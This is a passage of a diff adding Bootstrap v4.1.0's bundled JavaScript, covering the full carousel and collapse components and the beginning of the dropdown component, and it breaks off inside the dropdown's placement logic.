+  var Carousel = function ($$$1) {
+    /**
+     * ------------------------------------------------------------------------
+     * Constants
+     * ------------------------------------------------------------------------
+     */
+    var NAME = 'carousel';
+    var VERSION = '4.1.0';
+    var DATA_KEY = 'bs.carousel';
+    var EVENT_KEY = "." + DATA_KEY;
+    var DATA_API_KEY = '.data-api';
+    var JQUERY_NO_CONFLICT = $$$1.fn[NAME];
+    var ARROW_LEFT_KEYCODE = 37; // KeyboardEvent.which value for left arrow key
+
+    var ARROW_RIGHT_KEYCODE = 39; // KeyboardEvent.which value for right arrow key
+
+    var TOUCHEVENT_COMPAT_WAIT = 500; // Time for mouse compat events to fire after touch
+
+    var Default = {
+      interval: 5000,
+      keyboard: true,
+      slide: false,
+      pause: 'hover',
+      wrap: true
+    };
+    var DefaultType = {
+      interval: '(number|boolean)',
+      keyboard: 'boolean',
+      slide: '(boolean|string)',
+      pause: '(string|boolean)',
+      wrap: 'boolean'
+    };
+    var Direction = {
+      NEXT: 'next',
+      PREV: 'prev',
+      LEFT: 'left',
+      RIGHT: 'right'
+    };
+    var Event = {
+      SLIDE: "slide" + EVENT_KEY,
+      SLID: "slid" + EVENT_KEY,
+      KEYDOWN: "keydown" + EVENT_KEY,
+      MOUSEENTER: "mouseenter" + EVENT_KEY,
+      MOUSELEAVE: "mouseleave" + EVENT_KEY,
+      TOUCHEND: "touchend" + EVENT_KEY,
+      LOAD_DATA_API: "load" + EVENT_KEY + DATA_API_KEY,
+      CLICK_DATA_API: "click" + EVENT_KEY + DATA_API_KEY
+    };
+    var ClassName = {
+      CAROUSEL: 'carousel',
+      ACTIVE: 'active',
+      SLIDE: 'slide',
+      RIGHT: 'carousel-item-right',
+      LEFT: 'carousel-item-left',
+      NEXT: 'carousel-item-next',
+      PREV: 'carousel-item-prev',
+      ITEM: 'carousel-item'
+    };
+    var Selector = {
+      ACTIVE: '.active',
+      ACTIVE_ITEM: '.active.carousel-item',
+      ITEM: '.carousel-item',
+      NEXT_PREV: '.carousel-item-next, .carousel-item-prev',
+      INDICATORS: '.carousel-indicators',
+      DATA_SLIDE: '[data-slide], [data-slide-to]',
+      DATA_RIDE: '[data-ride="carousel"]'
+      /**
+       * ------------------------------------------------------------------------
+       * Class Definition
+       * ------------------------------------------------------------------------
+       */
+
+    };
+
+    var Carousel =
+    /*#__PURE__*/
+    function () {
+      function Carousel(element, config) {
+        this._items = null;
+        this._interval = null;
+        this._activeElement = null;
+        this._isPaused = false;
+        this._isSliding = false;
+        this.touchTimeout = null;
+        this._config = this._getConfig(config);
+        this._element = $$$1(element)[0];
+        this._indicatorsElement = $$$1(this._element).find(Selector.INDICATORS)[0];
+
+        this._addEventListeners();
+      } // Getters
+
+
+      var _proto = Carousel.prototype;
+
+      // Public
+      _proto.next = function next() {
+        if (!this._isSliding) {
+          this._slide(Direction.NEXT);
+        }
+      };
+
+      _proto.nextWhenVisible = function nextWhenVisible() {
+        // Don't call next when the page isn't visible
+        // or the carousel or its parent isn't visible
+        if (!document.hidden && $$$1(this._element).is(':visible') && $$$1(this._element).css('visibility') !== 'hidden') {
+          this.next();
+        }
+      };
+
+      _proto.prev = function prev() {
+        if (!this._isSliding) {
+          this._slide(Direction.PREV);
+        }
+      };
+
+      _proto.pause = function pause(event) {
+        if (!event) {
+          this._isPaused = true;
+        }
+
+        if ($$$1(this._element).find(Selector.NEXT_PREV)[0]) {
+          Util.triggerTransitionEnd(this._element);
+          this.cycle(true);
+        }
+
+        clearInterval(this._interval);
+        this._interval = null;
+      };
+
+      _proto.cycle = function cycle(event) {
+        if (!event) {
+          this._isPaused = false;
+        }
+
+        if (this._interval) {
+          clearInterval(this._interval);
+          this._interval = null;
+        }
+
+        if (this._config.interval && !this._isPaused) {
+          this._interval = setInterval((document.visibilityState ? this.nextWhenVisible : this.next).bind(this), this._config.interval);
+        }
+      };
+
+      _proto.to = function to(index) {
+        var _this = this;
+
+        this._activeElement = $$$1(this._element).find(Selector.ACTIVE_ITEM)[0];
+
+        var activeIndex = this._getItemIndex(this._activeElement);
+
+        if (index > this._items.length - 1 || index < 0) {
+          return;
+        }
+
+        if (this._isSliding) {
+          $$$1(this._element).one(Event.SLID, function () {
+            return _this.to(index);
+          });
+          return;
+        }
+
+        if (activeIndex === index) {
+          this.pause();
+          this.cycle();
+          return;
+        }
+
+        var direction = index > activeIndex ? Direction.NEXT : Direction.PREV;
+
+        this._slide(direction, this._items[index]);
+      };
+
+      _proto.dispose = function dispose() {
+        $$$1(this._element).off(EVENT_KEY);
+        $$$1.removeData(this._element, DATA_KEY);
+        this._items = null;
+        this._config = null;
+        this._element = null;
+        this._interval = null;
+        this._isPaused = null;
+        this._isSliding = null;
+        this._activeElement = null;
+        this._indicatorsElement = null;
+      }; // Private
+
+
+      _proto._getConfig = function _getConfig(config) {
+        config = _objectSpread({}, Default, config);
+        Util.typeCheckConfig(NAME, config, DefaultType);
+        return config;
+      };
+
+      _proto._addEventListeners = function _addEventListeners() {
+        var _this2 = this;
+
+        if (this._config.keyboard) {
+          $$$1(this._element).on(Event.KEYDOWN, function (event) {
+            return _this2._keydown(event);
+          });
+        }
+
+        if (this._config.pause === 'hover') {
+          $$$1(this._element).on(Event.MOUSEENTER, function (event) {
+            return _this2.pause(event);
+          }).on(Event.MOUSELEAVE, function (event) {
+            return _this2.cycle(event);
+          });
+
+          if ('ontouchstart' in document.documentElement) {
+            // If it's a touch-enabled device, mouseenter/leave are fired as
+            // part of the mouse compatibility events on first tap - the carousel
+            // would stop cycling until user tapped out of it;
+            // here, we listen for touchend, explicitly pause the carousel
+            // (as if it's the second time we tap on it, mouseenter compat event
+            // is NOT fired) and after a timeout (to allow for mouse compatibility
+            // events to fire) we explicitly restart cycling
+            $$$1(this._element).on(Event.TOUCHEND, function () {
+              _this2.pause();
+
+              if (_this2.touchTimeout) {
+                clearTimeout(_this2.touchTimeout);
+              }
+
+              _this2.touchTimeout = setTimeout(function (event) {
+                return _this2.cycle(event);
+              }, TOUCHEVENT_COMPAT_WAIT + _this2._config.interval);
+            });
+          }
+        }
+      };
+
+      _proto._keydown = function _keydown(event) {
+        if (/input|textarea/i.test(event.target.tagName)) {
+          return;
+        }
+
+        switch (event.which) {
+          case ARROW_LEFT_KEYCODE:
+            event.preventDefault();
+            this.prev();
+            break;
+
+          case ARROW_RIGHT_KEYCODE:
+            event.preventDefault();
+            this.next();
+            break;
+
+          default:
+        }
+      };
+
+      _proto._getItemIndex = function _getItemIndex(element) {
+        this._items = $$$1.makeArray($$$1(element).parent().find(Selector.ITEM));
+        return this._items.indexOf(element);
+      };
+
+      _proto._getItemByDirection = function _getItemByDirection(direction, activeElement) {
+        var isNextDirection = direction === Direction.NEXT;
+        var isPrevDirection = direction === Direction.PREV;
+
+        var activeIndex = this._getItemIndex(activeElement);
+
+        var lastItemIndex = this._items.length - 1;
+        var isGoingToWrap = isPrevDirection && activeIndex === 0 || isNextDirection && activeIndex === lastItemIndex;
+
+        if (isGoingToWrap && !this._config.wrap) {
+          return activeElement;
+        }
+
+        var delta = direction === Direction.PREV ? -1 : 1;
+        var itemIndex = (activeIndex + delta) % this._items.length;
+        return itemIndex === -1 ? this._items[this._items.length - 1] : this._items[itemIndex];
+      };
+
+      _proto._triggerSlideEvent = function _triggerSlideEvent(relatedTarget, eventDirectionName) {
+        var targetIndex = this._getItemIndex(relatedTarget);
+
+        var fromIndex = this._getItemIndex($$$1(this._element).find(Selector.ACTIVE_ITEM)[0]);
+
+        var slideEvent = $$$1.Event(Event.SLIDE, {
+          relatedTarget: relatedTarget,
+          direction: eventDirectionName,
+          from: fromIndex,
+          to: targetIndex
+        });
+        $$$1(this._element).trigger(slideEvent);
+        return slideEvent;
+      };
+
+      _proto._setActiveIndicatorElement = function _setActiveIndicatorElement(element) {
+        if (this._indicatorsElement) {
+          $$$1(this._indicatorsElement).find(Selector.ACTIVE).removeClass(ClassName.ACTIVE);
+
+          var nextIndicator = this._indicatorsElement.children[this._getItemIndex(element)];
+
+          if (nextIndicator) {
+            $$$1(nextIndicator).addClass(ClassName.ACTIVE);
+          }
+        }
+      };
+
+      _proto._slide = function _slide(direction, element) {
+        var _this3 = this;
+
+        var activeElement = $$$1(this._element).find(Selector.ACTIVE_ITEM)[0];
+
+        var activeElementIndex = this._getItemIndex(activeElement);
+
+        var nextElement = element || activeElement && this._getItemByDirection(direction, activeElement);
+
+        var nextElementIndex = this._getItemIndex(nextElement);
+
+        var isCycling = Boolean(this._interval);
+        var directionalClassName;
+        var orderClassName;
+        var eventDirectionName;
+
+        if (direction === Direction.NEXT) {
+          directionalClassName = ClassName.LEFT;
+          orderClassName = ClassName.NEXT;
+          eventDirectionName = Direction.LEFT;
+        } else {
+          directionalClassName = ClassName.RIGHT;
+          orderClassName = ClassName.PREV;
+          eventDirectionName = Direction.RIGHT;
+        }
+
+        if (nextElement && $$$1(nextElement).hasClass(ClassName.ACTIVE)) {
+          this._isSliding = false;
+          return;
+        }
+
+        var slideEvent = this._triggerSlideEvent(nextElement, eventDirectionName);
+
+        if (slideEvent.isDefaultPrevented()) {
+          return;
+        }
+
+        if (!activeElement || !nextElement) {
+          // Some weirdness is happening, so we bail
+          return;
+        }
+
+        this._isSliding = true;
+
+        if (isCycling) {
+          this.pause();
+        }
+
+        this._setActiveIndicatorElement(nextElement);
+
+        var slidEvent = $$$1.Event(Event.SLID, {
+          relatedTarget: nextElement,
+          direction: eventDirectionName,
+          from: activeElementIndex,
+          to: nextElementIndex
+        });
+
+        if ($$$1(this._element).hasClass(ClassName.SLIDE)) {
+          $$$1(nextElement).addClass(orderClassName);
+          Util.reflow(nextElement);
+          $$$1(activeElement).addClass(directionalClassName);
+          $$$1(nextElement).addClass(directionalClassName);
+          var transitionDuration = Util.getTransitionDurationFromElement(activeElement);
+          $$$1(activeElement).one(Util.TRANSITION_END, function () {
+            $$$1(nextElement).removeClass(directionalClassName + " " + orderClassName).addClass(ClassName.ACTIVE);
+            $$$1(activeElement).removeClass(ClassName.ACTIVE + " " + orderClassName + " " + directionalClassName);
+            _this3._isSliding = false;
+            setTimeout(function () {
+              return $$$1(_this3._element).trigger(slidEvent);
+            }, 0);
+          }).emulateTransitionEnd(transitionDuration);
+        } else {
+          $$$1(activeElement).removeClass(ClassName.ACTIVE);
+          $$$1(nextElement).addClass(ClassName.ACTIVE);
+          this._isSliding = false;
+          $$$1(this._element).trigger(slidEvent);
+        }
+
+        if (isCycling) {
+          this.cycle();
+        }
+      }; // Static
+
+
+      Carousel._jQueryInterface = function _jQueryInterface(config) {
+        return this.each(function () {
+          var data = $$$1(this).data(DATA_KEY);
+
+          var _config = _objectSpread({}, Default, $$$1(this).data());
+
+          if (typeof config === 'object') {
+            _config = _objectSpread({}, _config, config);
+          }
+
+          var action = typeof config === 'string' ? config : _config.slide;
+
+          if (!data) {
+            data = new Carousel(this, _config);
+            $$$1(this).data(DATA_KEY, data);
+          }
+
+          if (typeof config === 'number') {
+            data.to(config);
+          } else if (typeof action === 'string') {
+            if (typeof data[action] === 'undefined') {
+              throw new TypeError("No method named \"" + action + "\"");
+            }
+
+            data[action]();
+          } else if (_config.interval) {
+            data.pause();
+            data.cycle();
+          }
+        });
+      };
+
+      Carousel._dataApiClickHandler = function _dataApiClickHandler(event) {
+        var selector = Util.getSelectorFromElement(this);
+
+        if (!selector) {
+          return;
+        }
+
+        var target = $$$1(selector)[0];
+
+        if (!target || !$$$1(target).hasClass(ClassName.CAROUSEL)) {
+          return;
+        }
+
+        var config = _objectSpread({}, $$$1(target).data(), $$$1(this).data());
+
+        var slideIndex = this.getAttribute('data-slide-to');
+
+        if (slideIndex) {
+          config.interval = false;
+        }
+
+        Carousel._jQueryInterface.call($$$1(target), config);
+
+        if (slideIndex) {
+          $$$1(target).data(DATA_KEY).to(slideIndex);
+        }
+
+        event.preventDefault();
+      };
+
+      _createClass(Carousel, null, [{
+        key: "VERSION",
+        get: function get() {
+          return VERSION;
+        }
+      }, {
+        key: "Default",
+        get: function get() {
+          return Default;
+        }
+      }]);
+
+      return Carousel;
+    }();
+    /**
+     * ------------------------------------------------------------------------
+     * Data Api implementation
+     * ------------------------------------------------------------------------
+     */
+
+
+    $$$1(document).on(Event.CLICK_DATA_API, Selector.DATA_SLIDE, Carousel._dataApiClickHandler);
+    $$$1(window).on(Event.LOAD_DATA_API, function () {
+      $$$1(Selector.DATA_RIDE).each(function () {
+        var $carousel = $$$1(this);
+
+        Carousel._jQueryInterface.call($carousel, $carousel.data());
+      });
+    });
+    /**
+     * ------------------------------------------------------------------------
+     * jQuery
+     * ------------------------------------------------------------------------
+     */
+
+    $$$1.fn[NAME] = Carousel._jQueryInterface;
+    $$$1.fn[NAME].Constructor = Carousel;
+
+    $$$1.fn[NAME].noConflict = function () {
+      $$$1.fn[NAME] = JQUERY_NO_CONFLICT;
+      return Carousel._jQueryInterface;
+    };
+
+    return Carousel;
+  }($);
+
+  /**
+   * --------------------------------------------------------------------------
+   * Bootstrap (v4.1.0): collapse.js
+   * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+   * --------------------------------------------------------------------------
+   */
+
+  var Collapse = function ($$$1) {
+    /**
+     * ------------------------------------------------------------------------
+     * Constants
+     * ------------------------------------------------------------------------
+     */
+    var NAME = 'collapse';
+    var VERSION = '4.1.0';
+    var DATA_KEY = 'bs.collapse';
+    var EVENT_KEY = "." + DATA_KEY;
+    var DATA_API_KEY = '.data-api';
+    var JQUERY_NO_CONFLICT = $$$1.fn[NAME];
+    var Default = {
+      toggle: true,
+      parent: ''
+    };
+    var DefaultType = {
+      toggle: 'boolean',
+      parent: '(string|element)'
+    };
+    var Event = {
+      SHOW: "show" + EVENT_KEY,
+      SHOWN: "shown" + EVENT_KEY,
+      HIDE: "hide" + EVENT_KEY,
+      HIDDEN: "hidden" + EVENT_KEY,
+      CLICK_DATA_API: "click" + EVENT_KEY + DATA_API_KEY
+    };
+    var ClassName = {
+      SHOW: 'show',
+      COLLAPSE: 'collapse',
+      COLLAPSING: 'collapsing',
+      COLLAPSED: 'collapsed'
+    };
+    var Dimension = {
+      WIDTH: 'width',
+      HEIGHT: 'height'
+    };
+    var Selector = {
+      ACTIVES: '.show, .collapsing',
+      DATA_TOGGLE: '[data-toggle="collapse"]'
+      /**
+       * ------------------------------------------------------------------------
+       * Class Definition
+       * ------------------------------------------------------------------------
+       */
+
+    };
+
+    var Collapse =
+    /*#__PURE__*/
+    function () {
+      function Collapse(element, config) {
+        this._isTransitioning = false;
+        this._element = element;
+        this._config = this._getConfig(config);
+        this._triggerArray = $$$1.makeArray($$$1("[data-toggle=\"collapse\"][href=\"#" + element.id + "\"]," + ("[data-toggle=\"collapse\"][data-target=\"#" + element.id + "\"]")));
+        var tabToggles = $$$1(Selector.DATA_TOGGLE);
+
+        for (var i = 0; i < tabToggles.length; i++) {
+          var elem = tabToggles[i];
+          var selector = Util.getSelectorFromElement(elem);
+
+          if (selector !== null && $$$1(selector).filter(element).length > 0) {
+            this._selector = selector;
+
+            this._triggerArray.push(elem);
+          }
+        }
+
+        this._parent = this._config.parent ? this._getParent() : null;
+
+        if (!this._config.parent) {
+          this._addAriaAndCollapsedClass(this._element, this._triggerArray);
+        }
+
+        if (this._config.toggle) {
+          this.toggle();
+        }
+      } // Getters
+
+
+      var _proto = Collapse.prototype;
+
+      // Public
+      _proto.toggle = function toggle() {
+        if ($$$1(this._element).hasClass(ClassName.SHOW)) {
+          this.hide();
+        } else {
+          this.show();
+        }
+      };
+
+      _proto.show = function show() {
+        var _this = this;
+
+        if (this._isTransitioning || $$$1(this._element).hasClass(ClassName.SHOW)) {
+          return;
+        }
+
+        var actives;
+        var activesData;
+
+        if (this._parent) {
+          actives = $$$1.makeArray($$$1(this._parent).find(Selector.ACTIVES).filter("[data-parent=\"" + this._config.parent + "\"]"));
+
+          if (actives.length === 0) {
+            actives = null;
+          }
+        }
+
+        if (actives) {
+          activesData = $$$1(actives).not(this._selector).data(DATA_KEY);
+
+          if (activesData && activesData._isTransitioning) {
+            return;
+          }
+        }
+
+        var startEvent = $$$1.Event(Event.SHOW);
+        $$$1(this._element).trigger(startEvent);
+
+        if (startEvent.isDefaultPrevented()) {
+          return;
+        }
+
+        if (actives) {
+          Collapse._jQueryInterface.call($$$1(actives).not(this._selector), 'hide');
+
+          if (!activesData) {
+            $$$1(actives).data(DATA_KEY, null);
+          }
+        }
+
+        var dimension = this._getDimension();
+
+        $$$1(this._element).removeClass(ClassName.COLLAPSE).addClass(ClassName.COLLAPSING);
+        this._element.style[dimension] = 0;
+
+        if (this._triggerArray.length > 0) {
+          $$$1(this._triggerArray).removeClass(ClassName.COLLAPSED).attr('aria-expanded', true);
+        }
+
+        this.setTransitioning(true);
+
+        var complete = function complete() {
+          $$$1(_this._element).removeClass(ClassName.COLLAPSING).addClass(ClassName.COLLAPSE).addClass(ClassName.SHOW);
+          _this._element.style[dimension] = '';
+
+          _this.setTransitioning(false);
+
+          $$$1(_this._element).trigger(Event.SHOWN);
+        };
+
+        var capitalizedDimension = dimension[0].toUpperCase() + dimension.slice(1);
+        var scrollSize = "scroll" + capitalizedDimension;
+        var transitionDuration = Util.getTransitionDurationFromElement(this._element);
+        $$$1(this._element).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration);
+        this._element.style[dimension] = this._element[scrollSize] + "px";
+      };
+
+      _proto.hide = function hide() {
+        var _this2 = this;
+
+        if (this._isTransitioning || !$$$1(this._element).hasClass(ClassName.SHOW)) {
+          return;
+        }
+
+        var startEvent = $$$1.Event(Event.HIDE);
+        $$$1(this._element).trigger(startEvent);
+
+        if (startEvent.isDefaultPrevented()) {
+          return;
+        }
+
+        var dimension = this._getDimension();
+
+        this._element.style[dimension] = this._element.getBoundingClientRect()[dimension] + "px";
+        Util.reflow(this._element);
+        $$$1(this._element).addClass(ClassName.COLLAPSING).removeClass(ClassName.COLLAPSE).removeClass(ClassName.SHOW);
+
+        if (this._triggerArray.length > 0) {
+          for (var i = 0; i < this._triggerArray.length; i++) {
+            var trigger = this._triggerArray[i];
+            var selector = Util.getSelectorFromElement(trigger);
+
+            if (selector !== null) {
+              var $elem = $$$1(selector);
+
+              if (!$elem.hasClass(ClassName.SHOW)) {
+                $$$1(trigger).addClass(ClassName.COLLAPSED).attr('aria-expanded', false);
+              }
+            }
+          }
+        }
+
+        this.setTransitioning(true);
+
+        var complete = function complete() {
+          _this2.setTransitioning(false);
+
+          $$$1(_this2._element).removeClass(ClassName.COLLAPSING).addClass(ClassName.COLLAPSE).trigger(Event.HIDDEN);
+        };
+
+        this._element.style[dimension] = '';
+        var transitionDuration = Util.getTransitionDurationFromElement(this._element);
+        $$$1(this._element).one(Util.TRANSITION_END, complete).emulateTransitionEnd(transitionDuration);
+      };
+
+      _proto.setTransitioning = function setTransitioning(isTransitioning) {
+        this._isTransitioning = isTransitioning;
+      };
+
+      _proto.dispose = function dispose() {
+        $$$1.removeData(this._element, DATA_KEY);
+        this._config = null;
+        this._parent = null;
+        this._element = null;
+        this._triggerArray = null;
+        this._isTransitioning = null;
+      }; // Private
+
+
+      _proto._getConfig = function _getConfig(config) {
+        config = _objectSpread({}, Default, config);
+        config.toggle = Boolean(config.toggle); // Coerce string values
+
+        Util.typeCheckConfig(NAME, config, DefaultType);
+        return config;
+      };
+
+      _proto._getDimension = function _getDimension() {
+        var hasWidth = $$$1(this._element).hasClass(Dimension.WIDTH);
+        return hasWidth ? Dimension.WIDTH : Dimension.HEIGHT;
+      };
+
+      _proto._getParent = function _getParent() {
+        var _this3 = this;
+
+        var parent = null;
+
+        if (Util.isElement(this._config.parent)) {
+          parent = this._config.parent; // It's a jQuery object
+
+          if (typeof this._config.parent.jquery !== 'undefined') {
+            parent = this._config.parent[0];
+          }
+        } else {
+          parent = $$$1(this._config.parent)[0];
+        }
+
+        var selector = "[data-toggle=\"collapse\"][data-parent=\"" + this._config.parent + "\"]";
+        $$$1(parent).find(selector).each(function (i, element) {
+          _this3._addAriaAndCollapsedClass(Collapse._getTargetFromElement(element), [element]);
+        });
+        return parent;
+      };
+
+      _proto._addAriaAndCollapsedClass = function _addAriaAndCollapsedClass(element, triggerArray) {
+        if (element) {
+          var isOpen = $$$1(element).hasClass(ClassName.SHOW);
+
+          if (triggerArray.length > 0) {
+            $$$1(triggerArray).toggleClass(ClassName.COLLAPSED, !isOpen).attr('aria-expanded', isOpen);
+          }
+        }
+      }; // Static
+
+
+      Collapse._getTargetFromElement = function _getTargetFromElement(element) {
+        var selector = Util.getSelectorFromElement(element);
+        return selector ? $$$1(selector)[0] : null;
+      };
+
+      Collapse._jQueryInterface = function _jQueryInterface(config) {
+        return this.each(function () {
+          var $this = $$$1(this);
+          var data = $this.data(DATA_KEY);
+
+          var _config = _objectSpread({}, Default, $this.data(), typeof config === 'object' && config);
+
+          if (!data && _config.toggle && /show|hide/.test(config)) {
+            _config.toggle = false;
+          }
+
+          if (!data) {
+            data = new Collapse(this, _config);
+            $this.data(DATA_KEY, data);
+          }
+
+          if (typeof config === 'string') {
+            if (typeof data[config] === 'undefined') {
+              throw new TypeError("No method named \"" + config + "\"");
+            }
+
+            data[config]();
+          }
+        });
+      };
+
+      _createClass(Collapse, null, [{
+        key: "VERSION",
+        get: function get() {
+          return VERSION;
+        }
+      }, {
+        key: "Default",
+        get: function get() {
+          return Default;
+        }
+      }]);
+
+      return Collapse;
+    }();
+    /**
+     * ------------------------------------------------------------------------
+     * Data Api implementation
+     * ------------------------------------------------------------------------
+     */
+
+
+    $$$1(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {
+      // preventDefault only for <a> elements (which change the URL) not inside the collapsible element
+      if (event.currentTarget.tagName === 'A') {
+        event.preventDefault();
+      }
+
+      var $trigger = $$$1(this);
+      var selector = Util.getSelectorFromElement(this);
+      $$$1(selector).each(function () {
+        var $target = $$$1(this);
+        var data = $target.data(DATA_KEY);
+        var config = data ? 'toggle' : $trigger.data();
+
+        Collapse._jQueryInterface.call($target, config);
+      });
+    });
+    /**
+     * ------------------------------------------------------------------------
+     * jQuery
+     * ------------------------------------------------------------------------
+     */
+
+    $$$1.fn[NAME] = Collapse._jQueryInterface;
+    $$$1.fn[NAME].Constructor = Collapse;
+
+    $$$1.fn[NAME].noConflict = function () {
+      $$$1.fn[NAME] = JQUERY_NO_CONFLICT;
+      return Collapse._jQueryInterface;
+    };
+
+    return Collapse;
+  }($);
+
+  /**
+   * --------------------------------------------------------------------------
+   * Bootstrap (v4.1.0): dropdown.js
+   * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+   * --------------------------------------------------------------------------
+   */
+
+  var Dropdown = function ($$$1) {
+    /**
+     * ------------------------------------------------------------------------
+     * Constants
+     * ------------------------------------------------------------------------
+     */
+    var NAME = 'dropdown';
+    var VERSION = '4.1.0';
+    var DATA_KEY = 'bs.dropdown';
+    var EVENT_KEY = "." + DATA_KEY;
+    var DATA_API_KEY = '.data-api';
+    var JQUERY_NO_CONFLICT = $$$1.fn[NAME];
+    var ESCAPE_KEYCODE = 27; // KeyboardEvent.which value for Escape (Esc) key
+
+    var SPACE_KEYCODE = 32; // KeyboardEvent.which value for space key
+
+    var TAB_KEYCODE = 9; // KeyboardEvent.which value for tab key
+
+    var ARROW_UP_KEYCODE = 38; // KeyboardEvent.which value for up arrow key
+
+    var ARROW_DOWN_KEYCODE = 40; // KeyboardEvent.which value for down arrow key
+
+    var RIGHT_MOUSE_BUTTON_WHICH = 3; // MouseEvent.which value for the right button (assuming a right-handed mouse)
+
+    var REGEXP_KEYDOWN = new RegExp(ARROW_UP_KEYCODE + "|" + ARROW_DOWN_KEYCODE + "|" + ESCAPE_KEYCODE);
+    var Event = {
+      HIDE: "hide" + EVENT_KEY,
+      HIDDEN: "hidden" + EVENT_KEY,
+      SHOW: "show" + EVENT_KEY,
+      SHOWN: "shown" + EVENT_KEY,
+      CLICK: "click" + EVENT_KEY,
+      CLICK_DATA_API: "click" + EVENT_KEY + DATA_API_KEY,
+      KEYDOWN_DATA_API: "keydown" + EVENT_KEY + DATA_API_KEY,
+      KEYUP_DATA_API: "keyup" + EVENT_KEY + DATA_API_KEY
+    };
+    var ClassName = {
+      DISABLED: 'disabled',
+      SHOW: 'show',
+      DROPUP: 'dropup',
+      DROPRIGHT: 'dropright',
+      DROPLEFT: 'dropleft',
+      MENURIGHT: 'dropdown-menu-right',
+      MENULEFT: 'dropdown-menu-left',
+      POSITION_STATIC: 'position-static'
+    };
+    var Selector = {
+      DATA_TOGGLE: '[data-toggle="dropdown"]',
+      FORM_CHILD: '.dropdown form',
+      MENU: '.dropdown-menu',
+      NAVBAR_NAV: '.navbar-nav',
+      VISIBLE_ITEMS: '.dropdown-menu .dropdown-item:not(.disabled):not(:disabled)'
+    };
+    var AttachmentMap = {
+      TOP: 'top-start',
+      TOPEND: 'top-end',
+      BOTTOM: 'bottom-start',
+      BOTTOMEND: 'bottom-end',
+      RIGHT: 'right-start',
+      RIGHTEND: 'right-end',
+      LEFT: 'left-start',
+      LEFTEND: 'left-end'
+    };
+    var Default = {
+      offset: 0,
+      flip: true,
+      boundary: 'scrollParent',
+      reference: 'toggle',
+      display: 'dynamic'
+    };
+    var DefaultType = {
+      offset: '(number|string|function)',
+      flip: 'boolean',
+      boundary: '(string|element)',
+      reference: '(string|element)',
+      display: 'string'
+      /**
+       * ------------------------------------------------------------------------
+       * Class Definition
+       * ------------------------------------------------------------------------
+       */
+
+    };
+
+    var Dropdown =
+    /*#__PURE__*/
+    function () {
+      function Dropdown(element, config) {
+        this._element = element;
+        this._popper = null;
+        this._config = this._getConfig(config);
+        this._menu = this._getMenuElement();
+        this._inNavbar = this._detectNavbar();
+
+        this._addEventListeners();
+      } // Getters
+
+
+      var _proto = Dropdown.prototype;
+
+      // Public
+      _proto.toggle = function toggle() {
+        if (this._element.disabled || $$$1(this._element).hasClass(ClassName.DISABLED)) {
+          return;
+        }
+
+        var parent = Dropdown._getParentFromElement(this._element);
+
+        var isActive = $$$1(this._menu).hasClass(ClassName.SHOW);
+
+        Dropdown._clearMenus();
+
+        if (isActive) {
+          return;
+        }
+
+        var relatedTarget = {
+          relatedTarget: this._element
+        };
+        var showEvent = $$$1.Event(Event.SHOW, relatedTarget);
+        $$$1(parent).trigger(showEvent);
+
+        if (showEvent.isDefaultPrevented()) {
+          return;
+        } // Disable totally Popper.js for Dropdown in Navbar
+
+
+        if (!this._inNavbar) {
+          /**
+           * Check for Popper dependency
+           * Popper - https://popper.js.org
+           */
+          if (typeof Popper === 'undefined') {
+            throw new TypeError('Bootstrap dropdown require Popper.js (https://popper.js.org)');
+          }
+
+          var referenceElement = this._element;
+
+          if (this._config.reference === 'parent') {
+            referenceElement = parent;
+          } else if (Util.isElement(this._config.reference)) {
+            referenceElement = this._config.reference; // Check if it's jQuery element
+
+            if (typeof this._config.reference.jquery !== 'undefined') {
+              referenceElement = this._config.reference[0];
+            }
+          } // If boundary is not `scrollParent`, then set position to `static`
+          // to allow the menu to "escape" the scroll parent's boundaries
+          // https://github.com/twbs/bootstrap/issues/24251
+
+
+          if (this._config.boundary !== 'scrollParent') {
+            $$$1(parent).addClass(ClassName.POSITION_STATIC);
+          }
+
+          this._popper = new Popper(referenceElement, this._menu, this._getPopperConfig());
+        } // If this is a touch-enabled device we add extra
+        // empty mouseover listeners to the body's immediate children;
+        // only needed because of broken event delegation on iOS
+        // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html
+
+
+        if ('ontouchstart' in document.documentElement && $$$1(parent).closest(Selector.NAVBAR_NAV).length === 0) {
+          $$$1(document.body).children().on('mouseover', null, $$$1.noop);
+        }
+
+        this._element.focus();
+
+        this._element.setAttribute('aria-expanded', true);
+
+        $$$1(this._menu).toggleClass(ClassName.SHOW);
+        $$$1(parent).toggleClass(ClassName.SHOW).trigger($$$1.Event(Event.SHOWN, relatedTarget));
+      };
+
+      _proto.dispose = function dispose() {
+        $$$1.removeData(this._element, DATA_KEY);
+        $$$1(this._element).off(EVENT_KEY);
+        this._element = null;
+        this._menu = null;
+
+        if (this._popper !== null) {
+          this._popper.destroy();
+
+          this._popper = null;
+        }
+      };
+
+      _proto.update = function update() {
+        this._inNavbar = this._detectNavbar();
+
+        if (this._popper !== null) {
+          this._popper.scheduleUpdate();
+        }
+      }; // Private
+
+
+      _proto._addEventListeners = function _addEventListeners() {
+        var _this = this;
+
+        $$$1(this._element).on(Event.CLICK, function (event) {
+          event.preventDefault();
+          event.stopPropagation();
+
+          _this.toggle();
+        });
+      };
+
+      _proto._getConfig = function _getConfig(config) {
+        config = _objectSpread({}, this.constructor.Default, $$$1(this._element).data(), config);
+        Util.typeCheckConfig(NAME, config, this.constructor.DefaultType);
+        return config;
+      };
+
+      _proto._getMenuElement = function _getMenuElement() {
+        if (!this._menu) {
+          var parent = Dropdown._getParentFromElement(this._element);
+
+          this._menu = $$$1(parent).find(Selector.MENU)[0];
+        }
+
+        return this._menu;
+      };
+
+      _proto._getPlacement = function _getPlacement() {
+        var $parentDropdown = $$$1(this._element).parent();
+        var placement = AttachmentMap.BOTTOM; // Handle dropup
+
+        if ($parentDropdown.hasClass(ClassName.DROPUP)) {
+          placement = AttachmentMap.TOP;
+
+          if ($$$1(this._menu).hasClass(ClassName.MENURIGHT)) {
+            placement = AttachmentMap.TOPEND;
+          }
+        } else if ($parentDropdown.hasClass(ClassName.DROPRIGHT)) {
+          placement = AttachmentMap.RIGHT;
+        } else if ($parentDropdown.hasClass(ClassName.DROPLEFT)) {
+          placement = AttachmentMap.LEFT;
+        } else if ($$$1(this._menu).hasClass(ClassName.MENURIGHT)) {
+          placement = AttachmentMap.BOTTOMEND;
+        }
+
+        return placement;
+      };
+
